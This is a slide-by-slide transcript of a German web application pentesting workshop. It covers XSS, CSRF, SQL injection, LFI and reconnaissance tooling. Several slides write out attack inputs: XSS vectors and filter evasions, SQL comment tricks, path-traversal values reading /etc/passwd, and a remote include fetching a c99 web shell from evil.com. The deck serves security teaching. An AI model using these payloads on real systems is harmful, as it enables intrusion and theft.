Wsd pentesting workshop

1.757 Aufrufe

Veröffentlicht am

  • Gehören Sie zu den Ersten, denen das gefällt!

Wsd pentesting workshop

  1. 1. Johann-Peter Hartmann & Marco Kaiser Live-Hacking & Penetration Testing
  2. 2. Johann-Peter Hartmann» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994 2
  3. 3. Wer seid Ihr ? 3
  4. 4. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein? 3
  5. 5. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? 3
  6. 6. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF? 3
  7. 7. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections? 3
  8. 8. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections? 3
  9. 9. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop? 3
  10. 10. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop? 3
  11. 11. Wer seid Ihr ?» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?» Wer kennt CSRF?» Wer kennt SQL Injections?» Was erwartet ihr von diesem Workshop?» Oh, sorry, daran haben wir nicht gedacht. 3
  12. 12. Agenda 4
  13. 13. Agenda» Grundlagen 4
  14. 14. Agenda» Grundlagen» Motivation Pentesting 4
  15. 15. Agenda» Grundlagen» Motivation Pentesting» Information Gathering 4
  16. 16. Agenda» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting 4
  17. 17. Agenda» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on 4
  18. 18. Grundlagen, Schutzmaßnahmen und Workarounds 5
  19. 19. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF 5
  20. 20. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections 5
  21. 21. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution 5
  22. 22. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS 5
  23. 23. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads 5
  24. 24. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads» Local File Inclusions 5
  25. 25. Grundlagen, Schutzmaßnahmen und Workarounds» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads» Local File Inclusions» Information Disclosure 5
  26. 26. Warum noch einmal die Grundlagen? 6
  27. 27. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden 6
  28. 28. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden» Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft 6
  29. 29. Warum noch einmal die Grundlagen?» Pentesting ist » bekannte Lücken finden » fehlende Sicherheitsmaßnahmen entdecken » Fehler in den Sicherheitsmaßnahmen finden» Proportional zur Education » bekannte Lücken unwahrscheinlich » fehlende Sicherheitsmaßnahmen selten » Fehler in Sicherheitsmaßnahmen oft» Es geht also um die entdeckbaren Fehler 6
  30. 30. XSS - ein bischen Theorie 7
  31. 31. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz 7
  32. 32. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung 7
  33. 33. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting 7
  34. 34. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS 7
  35. 35. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung 7
  36. 36. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping 7
  37. 37. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping 7
  38. 38. XSS - ein bischen Theorie» Typische Methoden zum XSS-Schutz » Tag-Filterung » Blacklisting » Löschen erkannter XSS » Validierung » globales Escaping » Escaping» ... und warum /index.jsp?id=<script> kein XSS-Test ist 7
  39. 39. Javascript wird ausgeführt in ... 8
  40. 40. Javascript wird ausgeführt in ...» <script>-Tags 8
  41. 41. Javascript wird ausgeführt in ...» <script>-Tags» Urls 8
  42. 42. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern 8
  43. 43. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets 8
  44. 44. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets» In JavaScript selbst 8
  45. 45. Javascript wird ausgeführt in ...» <script>-Tags» Urls» Event-Handlern» Style-Sheets» In JavaScript selbst» in Plugins 8
  46. 46. XSS in Urls» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“ content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>» Url-Encoding schützt» Tag-Filterung hilft nicht 9
  47. 47. XSS in Scripts» <script> var search=“mystring“;alert(1);//“» aus dem JS-Stringkontext in den JS- Kontext ausbrechen» var number=1;alert(1);» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht 10
  48. 48. XSS in Tags» <input value=“12“ onmouseover=“alert(1);“>» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext» <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft» Tag-Filterung schützt nicht 11
  49. 49. XSS in Style-Sheets» Als Style-Definition: <style>a: expression(alert(1))</style>» Als Style im Attribut: <a style=“background-color:expression(..» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors» Escaping hilft bei Strings» Tag-Filterung hilft nicht 12
  50. 50. XSS in HTML» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..» Tag-Filterung hilft» Escaping in HTML-Entitäten hilft 13
  51. 51. Codepage-basierte Kontextwechsel 14
  52. 52. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page 14
  53. 53. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page» Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“ 14
  54. 54. Codepage-basierte Kontextwechsel» Jedes Escaping ist abhängig von der Code-Page» Fehlendes Multibyte-Handling kann Escaping boykottieren Beispiel: %C0“ -> %C0“» Die Codepage kann forciert werden UTF-7-Bug in den ersten 1024 Bytes: +ADw-script+AD4-alert(1);+ADw-/script +AD4+ 14
  55. 55. Fazit: Probleme bei XSS 15
  56. 56. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle 15
  57. 57. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren 15
  58. 58. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten 15
  59. 59. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ 15
  60. 60. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings 15
  61. 61. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links 15
  62. 62. Fazit: Probleme bei XSS» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren » HTML-Entititäten » String-Enkodierung für value=““ » String-Escaping für JS/CSS-Strings » URL-Enkodierung in Links» Escaping hilft nicht bei Non-String- Injections in Javascript/Event-Kontext 15
  63. 63. Probleme bei XSS-Blacklists 16
  64. 64. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant 16
  65. 65. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig 16
  66. 66. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation 16
  67. 67. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation 16
  68. 68. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ 16
  69. 69. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden 16
  70. 70. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden» Inhalt ist kontextabhängig 16
  71. 71. Probleme bei XSS-Blacklists» Browser nutzen HTML tolerant » fehlerhaftes HTML ist trotzdem gültig » Kontext-Wechsel durch Interpretation » Boykottierung des Escapings durch Interpretation » Es gibt keine finale Liste dieser „Verbesserungen“ » pro Monat wird etwa eine neue gefunden» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort neutral oder vergiftet sein 16
  72. 72. Probleme bei XSS-Blacklists 2 17
  73. 73. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert 17
  74. 74. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... 17
  75. 75. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: 17
  76. 76. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey 17
  77. 77. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver 17
  78. 78. Probleme bei XSS-Blacklists 2» HTML wird extern erweitert » Attribute wie dojotype=... » URL-Moniker wie skype: oder tel: » Browser-Plugins wie Greasemonkey » JavaScript-Includes für Adserver» Blacklists sind immer unvollständig 17
  79. 79. Fehlerhafte XSS-Filter» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ?» XSS Cheat Sheet » http://ha.ckers.org/xss.html 18
  80. 80. Externe XSS-Vektoren 19
  81. 81. Externe XSS-Vektoren» RSS 19
  82. 82. Externe XSS-Vektoren» RSS» Web-Services 19
  83. 83. Externe XSS-Vektoren» RSS» Web-Services» CSV 19
  84. 84. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles 19
  85. 85. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier 19
  86. 86. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles 19
  87. 87. Externe XSS-Vektoren» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern 19
  88. 88. Cross Site Request Forgery 20
  89. 89. Cross Site Request Forgery» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt» Häufigster Schutz: Token-basiert» Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach XSS suchen 20
  90. 90. Schutzmaßnahmen bei SQL-Injection» Parameter Binding» Parameter Escaping» Blacklisting 21
  91. 91. Angriffe auf Parameter Binding 22
  92. 92. Angriffe auf Parameter Binding» Namen aus externen Quellen 22
  93. 93. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken 22
  94. 94. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen 22
  95. 95. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten 22
  96. 96. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax 22
  97. 97. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax » Sortierrichtungen 22
  98. 98. Angriffe auf Parameter Binding» Namen aus externen Quellen » Datenbanken » Tabellen » Spalten» SQL-Syntax » Sortierrichtungen » Operationen 22
  99. 99. Parameter Escaping 23
  100. 100. Parameter Escaping» Multi-Byte-Attacken 23
  101. 101. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken 23
  102. 102. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen 23
  103. 103. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages 23
  104. 104. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages» Fehlendes Escaping von Bezeichnern 23
  105. 105. Parameter Escaping» Multi-Byte-Attacken » analog zu Escaping-Multibyte-Attacken » alte Datenbank-Versionen » seltsame Codepages» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax 23
  106. 106. SQL Blacklisting Evasions 24
  107. 107. SQL Blacklisting Evasions» SQL Comment Filter Evasions 24
  108. 108. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ 24
  109. 109. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# 24
  110. 110. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion 24
  111. 111. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion» Umgehen von Escaping mit Funktionen 24
  112. 112. SQL Blacklisting Evasions» SQL Comment Filter Evasions » mehrzeilige Comments: /* */ » einzeilige Comments: -- ,# » können innerhalb von Statements genutzt werden: u/**/nion» Umgehen von Escaping mit Funktionen » char(65) an Stelle von ‘a‘ 24
  113. 113. Code / OS Level Executions 25
  114. 114. Code / OS Level Executions» Shell Kommando Escaping» Standardlösung: Escape von “#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done) 25
  115. 115. Denial of Service 26
  116. 116. Denial of Service» Schutzmaßnahmen 26
  117. 117. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider 26
  118. 118. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver 26
  119. 119. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS 26
  120. 120. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth 26
  121. 121. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert 26
  122. 122. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban 26
  123. 123. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban» Evasion über teure Operationen 26
  124. 124. Denial of Service» Schutzmaßnahmen » Infrastruktur / Provider » Webserver » IDS » Throttling, mod_bandwidth » Applikationsbasiert » z.B. Auto-Logout oder IP-Ban» Evasion über teure Operationen » z.B. Registration, FriendOfAFriend, Suchen mit Rechteprüfung 26
  125. 125. File Uploads 27
  126. 126. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation 27
  127. 127. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation» Abwehr: Virtualisierung der Ablage, Virenchecks 27
  128. 128. File Uploads» Gefahr von XSS, Code Executions, Content Manipulation» Abwehr: Virtualisierung der Ablage, Virenchecks» Umgehung » Flash-Security: einschmuggeln einer crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung 27
  129. 129. Local File Inclusions» include “const“.$_GET[‘bla‘].“const“; » ?bla=/../../etc/passwd%00 » ?bla=/../../var/log/apache/access_log » ?bla=/../../var/log/vsftp.log%00» include $_GET[‘bla‘] . “const“; » ?bla=data://text/plain;base64,P... » ?bla=php://filter/resource=http://evil.com/ c99.txt 28
  130. 130. Information Disclosure» Geschützt durch korrekte (Fehler-)Ausgaben» Umgehung » Timing-Attacken (Login: Username existent?) » Artifakte » Content-Disclosure Fehler 29
  131. 131. Motivation Pentesting für Entwickler 30
  132. 132. Motivation Pentesting für Entwickler» Know your enemy 30
  133. 133. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security 30
  134. 134. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse 30
  135. 135. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden 30
  136. 136. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden 30
  137. 137. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness 30
  138. 138. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness» Security ist komplex 30
  139. 139. Motivation Pentesting für Entwickler» Know your enemy» Der Entwickler ist der Hebel für Security» Risikoanalyse » offensichtliche Probleme werden gefunden » „Oberkante“ des Eigenrisikos wird gefunden» Security Awareness» Security ist komplex » Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich 30
  140. 140. Information Gathering 31
  141. 141. Information Gathering» Infrastruktur 31
  142. 142. Information Gathering» Infrastruktur» Host 31
  143. 143. Information Gathering» Infrastruktur» Host» Webserver 31
  144. 144. Information Gathering» Infrastruktur» Host» Webserver» Webapplikationen 31
  145. 145. Information Gathering - Infrastruktur 32
  146. 146. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server? 32
  147. 147. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server?» Tools » whois, Nmap, BSI OSS Security Suite, fierce 32
  148. 148. Information Gathering - Infrastruktur» Welcher Hoster, welcher Netzblock » Sind andere Server in der Nähe, zum Beispiel SQL-Server? » Staging-Server?» Tools » whois, Nmap, BSI OSS Security Suite, fierce» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene Datenbank-Server etc 32
  149. 149. Information Gathering Host 33
  150. 150. Information Gathering Host» Nmap: offene Ports, welche Services 33
  151. 151. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen? 33
  152. 152. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint 33
  153. 153. Information Gathering Host» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP http://myipneighbors.com 33
  154. 154. Information Gathering Webserver 34
  155. 155. Information Gathering Webserver» Google Dorks 34
  156. 156. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php 34
  157. 157. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow 34
  158. 158. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner 34
  159. 159. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library 34
  160. 160. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library» http://www.netcraft.co.uk/ 34
  161. 161. Information Gathering Webserver» Google Dorks » http://johnny.ihackstuff.com/ghdb.php » Goolag Scanner von Cult of the Dead Cow» Wikto Web Server Scanner » OpenSource Perl Scanner mit grosser Library» http://www.netcraft.co.uk/» FoundStone SuperScan 34
  162. 162. Lifedemo» myipneighbors.com» Wikto» Goolag Scanner 35
  163. 163. Zielhost: Artifakte 36
  164. 164. Zielhost: Artifakte» Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig 36
  165. 165. Zielhost: Artifakte» Transparente Endungen und Artifakte » config.ini » config.ini~ » config.ini.bak » config.ini.tmp » config.old » config.orig» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries 36
  166. 166. Parameter Manipulation 37
  167. 167. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies 37
  168. 168. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen 37
  169. 169. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent 37
  170. 170. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client 37
  171. 171. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header 37
  172. 172. Parameter Manipulation» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies» Andere Manipulationen » User-Agent » DNS, Hostname vom Client » Bei Default-Domain: HTTP Host-Header » Accept-Header: Language, Encoding 37
  173. 173. Pentesting Webapplikationen 38
  174. 174. Pentesting Webapplikationen» Tools 38
  175. 175. Pentesting Webapplikationen» Tools» XSS Pentesting 38
  176. 176. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting 38
  177. 177. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL 38
  178. 178. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection 38
  179. 179. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection » Blind SQL Injection 38
  180. 180. Pentesting Webapplikationen» Tools» XSS Pentesting» CSRF Pentesting» SQL » SQL Injection » Blind SQL Injection» Information Disclosure 38
  181. 181. Tools zum manuellen Pentesten 39
  182. 182. Tools zum manuellen Pentesten» Browser: Firefox 39
  183. 183. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins 39
  184. 184. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data 39
  185. 185. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar 39
  186. 186. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar » Firebug 39
  187. 187. Tools zum manuellen Pentesten» Browser: Firefox» Firefox Plugins » Tamper Data » Hackbar » Firebug» Greasemonkey XSS Assistant 39
  188. 188. XSS Pentest 40
  189. 189. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet? 40
  190. 190. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?» Wird die Seite mit diesem String manipuliert? 40
  191. 191. XSS Pentest» Typ 0 XSS Einfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?» Wird die Seite mit diesem String manipuliert?» Typisches Beispiel: Frames und Iframes 40
  192. 192. XSS Pentest 41
  193. 193. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt 41
  194. 194. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren 41
  195. 195. XSS Pentest» Typ 1 / Typ 2 XSS Alle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden 41
  196. 196. CSRF Pentesting 42
  197. 197. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz? 42
  198. 198. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja 42
  199. 199. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? 42
  200. 200. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft? 42
  201. 201. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein 42
  202. 202. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein » existiert ein Referer-Check? 42
  203. 203. CSRF Pentesting» Prüfung: Existiert ein Tokenschutz?» Falls ja » Ist der Token vorhersehbar? » wird der Token überprüft?» Falls nein » existiert ein Referer-Check?» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen 42
  204. 204. SQL Injection Pentesting 43
  205. 205. SQL Injection Pentesting» Parametermanipulation 43
  206. 206. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen 43
  207. 207. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? 43
  208. 208. SQL Injection Pentesting» Parametermanipulation » Test mit Escape-Parametern und Sonderzeichen » Lassen sich Fehlermeldungen provozieren? » Ändert sich etwas an den dargestellten Werten? 43
  209. 209. SQL Injection Pentesting 44
  210. 210. SQL Injection Pentesting» Rekonstruktion der Query 44
  211. 211. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? 44
  212. 212. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler 44
  213. 213. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch 44
  214. 214. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests 44
  215. 215. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union 44
  216. 216. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare 44
  217. 217. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare» Erkennung der Datenbank und Version 44
  218. 218. SQL Injection Pentesting» Rekonstruktion der Query » Wird der Wert direkt verwand oder escaped? » Position der Injection durch Tests und Fehler » Union-Versuch » Klammern-Tests » Feldzahl und -namen Erkennung mit Union » Neutralisierung von Filtern durch Kommentare» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename 44
  219. 219. SQL Injection Pentesting - Blind SQL Injection 45
  220. 220. SQL Injection Pentesting - Blind SQL Injection» Nicht jede Query liefert ein sichtbares Ergebnis 45
